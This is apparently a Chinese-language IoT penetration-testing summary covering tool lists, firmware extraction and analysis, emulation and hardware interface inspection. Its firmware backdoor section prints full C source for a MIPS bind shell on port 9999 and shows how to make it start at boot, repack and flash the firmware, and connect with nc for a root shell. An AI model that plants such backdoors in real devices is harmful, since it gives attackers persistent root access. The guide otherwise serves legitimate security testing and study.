IOT渗透测试总结

1. 工具

1.1 固件分析

  1. Binwalk
  2. Firmadyne
  3. Angr
  4. Firmware-mod-tookit
  5. Firmware Analysis Toolkit
  6. GDB
  7. Radare2
  8. Binary Analysus Tool(BAT)
  9. Qemu
  10. IDA Pro

1.2 Web渗透测试工具

  1. Burp Suite
  2. OWASP Zed Attsvk Proxy(ZAP)
  3. PEST Easy Firefox Plugin
  4. Postman Chrome Extension

1.3 移动应用渗透测试工具

  • Android
    1. Android SDK
    2. JD-GUI
    3. JEB
    4. SQLite Browser
    5. Burp Suite
    6. OWASP ZAP
  • IOS
    1. IDB
    2. Xcode Tools
    3. CLass-Dump
    4. Hopper
    5. Mob-SF
    6. SQLite Browser
    7. Burp Suite
    8. OWASP ZAP
    9. Cydia (以下应用需要越狱环境)
    10. OpenURL
    11. DumpDecrypted
    12. Ipainstaller
    13. SSL KILL Switch 2
    14. Clutch 2
    15. Cycript

1.4 硬件工具

  1. 万用表
  2. 用于硬件拆解的IFixit clasic pro tech toolkit工具套装
  3. Bus Pirate
  4. USB转串口转接器:Shikra、FTDIDT232、CP2012、PL2303、Adafruit FTDI Friend
  5. JTAG接口转接器:Shikra、JTAGulator、Arduino with JTAGenum、JLINK、Bus Blaster
  6. 逻辑分析仪

1.5 硬件分析工具

  1. OpenOCD
  2. Spiflash
  3. Minicom
  4. Baudrate

1.6 无线电分析硬件工具

  1. Atmel RZ Raven
  2. Attify Badge
  3. HackRF One
  4. Yardstick One
  5. 带有Xbee Shield模块的XBee扩展版
  6. Ubertooth
  7. BLE适配器

1.7 无线电分析软件

  1. KillerBee框架
  2. Attify ZigBee框架
  3. GUN Radio
  4. GQRX
  5. Ubertooth tools
  6. Blue Hydra
  7. RTL-sdr
  8. Hackrf packages
  9. EZ-ware

2. 固件分析

固件中的内部组织包括boot-loader、内核、文件系统以及其他内容。

文件系统主要关注内容:

  • 口令
  • API Token
  • URL
  • 存在漏洞的服务
  • 后门账户
  • 配置文件
  • 源代码
  • 私钥
  • 数据存储方式

2.1 固件提取

  1. 从厂商网站下载

  2. 代理或设备更新时的流量

    ettercap+wireshark

  3. 直接从设备转储固件

    通过UART、SPI、JTAG接口直接转储或闪存芯片读取

  4. Google搜索

2.2 文件系统读取

以Squashfs系统为例,头部特征字符串较多,目前已知7种:

  1. 标准固件大端序模式位-sqsh
  2. 标准固件小端序模式-hsqs
  3. LZMA压缩下的大端模式-sqlz
  4. 3.3版本的Squashfs文件系统在LZMA压缩下的大端序模式-qshs
  5. 部门非标准固件小端序模式-shsq(多为D-Link固件)
  6. DD-WRT固件小端序模式-hsqt
  7. DD-WRT固件大端序模式-tqsh

2.2.1 Squashfs文件系统提取

2.2.1.1 unSquashfs提取

  1. 根据特征值使用hexdump获取Squashfs文件系统起始地址。

    hexdump -c xxxx.trx |grep -i ‘hsqs’

  2. dd转存文件系统

    dd if=xxx bs=1 skip=xxx of=xx

  3. 二进制文件提取文件系统

    Unsquashfs xxxx

2.2.1.2 binwalk提取

binwalk提取与第一种提取思路一样,binwalk会判断目标文件系统,根据特征值进行转存,然后从二进制种提取文件系统

binwalk -Me xxx

2.3 文件系统分析

2.3.1 手工分析

  1. find *.conf查找配置文件。

  2. 查找key、ras、des、cer等关键字。

2.3.2 自动化

自动搜索敏感信息

firmwalker

2.3.3 固件仿真动态分析

Firmware Analysis Toolkit(FAT)采用Firmadyne工具实现镜像仿真。

Firmadyne底层基于QEMU虚拟机,用户能够对整个系统架构进行仿真并在该架构之上运行固件。

FAT脚本能够执行的操作:

  • 从固件系统提取文件系统
  • 获取固件架构
  • 制作所需镜像
  • 网络设置
  • 镜像仿真

2.3.4 二进制逆向分析

Radar2、IDA、Hopper

2.3.5 后门植入

firmware-mod-kit(FMK),支持从固件提取文件系统,对其修改后重新打包。

  1. extract-firmware.sh -文件系统提取

    提取后包括rootfs、image_part和logs等文件,其中rootfs中包含了固件中的整套文件系统,我们需要做的是在固件中添加后门,然后找到固件启动后自动调用后门的方法。

  2. readelf查看文件文件系统内的可执行文件,判断是大端架构还是小端架构

  3. 使用MIPS交叉编译器编译后门源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>

    #define SERVER_PORT 9999
    /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
    * Bind Shell using Fork for my TP-Link mr3020 router running busybox
    * Arch : MIPS
    * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
    */
    int main() {
    int serverfd, clientfd, server_pid, i = 0;
    char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
    char *args[] = { "/bin/busybox", "sh", (char *) 0 };
    struct sockaddr_in server, client;
    socklen_t len;

    server.sin_family = AF_INET;
    server.sin_port = htons(SERVER_PORT);
    server.sin_addr.s_addr = INADDR_ANY;

    serverfd = socket(AF_INET, SOCK_STREAM, 0);
    bind(serverfd, (struct sockaddr *)&server, sizeof(server));
    listen(serverfd, 1);

    while (1) {
    len = sizeof(struct sockaddr);
    clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
    server_pid = fork();
    if (server_pid) {
    write(clientfd, banner, strlen(banner));
    for(; i <3 /*u*/; i++) dup2(clientfd, i);
    execve("/bin/busybox", args, (char *) 0);
    close(clientfd);
    } close(clientfd);
    } return 0;
    }
  4. 将编译好的二进制文件放到文件系统中,修改/etc/scripts下的system.sh

    1
    /etc/binshell        //bindshell为编译后的后门二进制文件
  5. 重新打包

    1
    build-firmware.sh 文件名 -nopad -min
  6. Firmware-name/文件下生成新的固件

  7. 安装固件,使用nc连接,获得root权限shell

3. 设备攻击

硬件攻击主要涉及以下步骤:

  • 信息收集与分析
  • 设备的外部分析与内部分析
  • 通信接口识别
  • 硬件通讯技术获取数据
  • 基于硬件漏洞利用方法的软件漏洞利用
  • 后门植入

3.1 信息收集与分析

对于某一特定设备而言,可以通过一系列方法获取相关目标设别的信息,此时的信息来源既包括公开查询的信息,也可以是从客户手里或者其他渠道获取的文档。

涉及的信息主要包括:

  • 嵌入式设备基于哪种架构?
  • 该设备运行在何种操作系统上?
  • 该设备支持哪些外设?
  • 该设备采用了哪些芯片组?
  • 设备采用的存储与内存的实现方面的细节。
  • 关于设备的其他相关技术信息。

3.2 外部分析与内部分析

获取设备信息后,下一步针对设备自身开展分析工作,这一步的目的在于从攻击者的视角来观察设备,并从外部和内部观察,尽可能获取更多的信息。

外部分析只需要查看设备的外观,搞清楚每个组件的作用。

  • 设备有哪些接口,是否提供USB接口、SD卡槽或以太网口?

  • 设备如何供电,电池、POE还是电源适配器?

  • 设备设否有标签?有标签的话,包含了哪些信息?

    完成外部分析后,下一步就是对设备进行内部分析,需要打开外壳观察PCB板,这一步骤我们需要识别出设备所采用的各种芯片组,继而在芯片数据手册中查找对应的芯片组,了解每个组件的功能,同时将芯片数据手册中找到的各种信息做好记录。

3.3 通信接口识别

​ 有一些设备接口显而易见,可以轻松识别,但是另外一些情况下,通信接口可能会分布PCB的不同位置,所以识别起来可能会困难一下,还有些情况下需要自行连接到芯片的引脚排针才能识别的接口类型。

3.4 硬件通信技术获取数据

识别出硬件采用的通信协议后与接口后,就可以借助专门工具通过特定协议与目标设备进行通信,并且与目标设备进行交互或读写芯片信息。

测试过程中常用到的接口包括UART、JTAG、SPI、I2C、SWD、RDI以及1-Wire

3.5 硬件分析

查看PCB并识别出板上的所有芯片,查看芯片标签时,可以将芯片稍微倾斜,使用USB电子显微镜或者手机闪光灯查看标签设备。

如果识别出了芯片,可以在Google输入该芯片的制造厂商,再加上芯片型号以及datasheet(芯片数据手册),尝试搜索芯片的数据手册。

获得芯片数据手册后,可以使用手册中的信息识别出目标芯片的所有特征,包括引脚定义。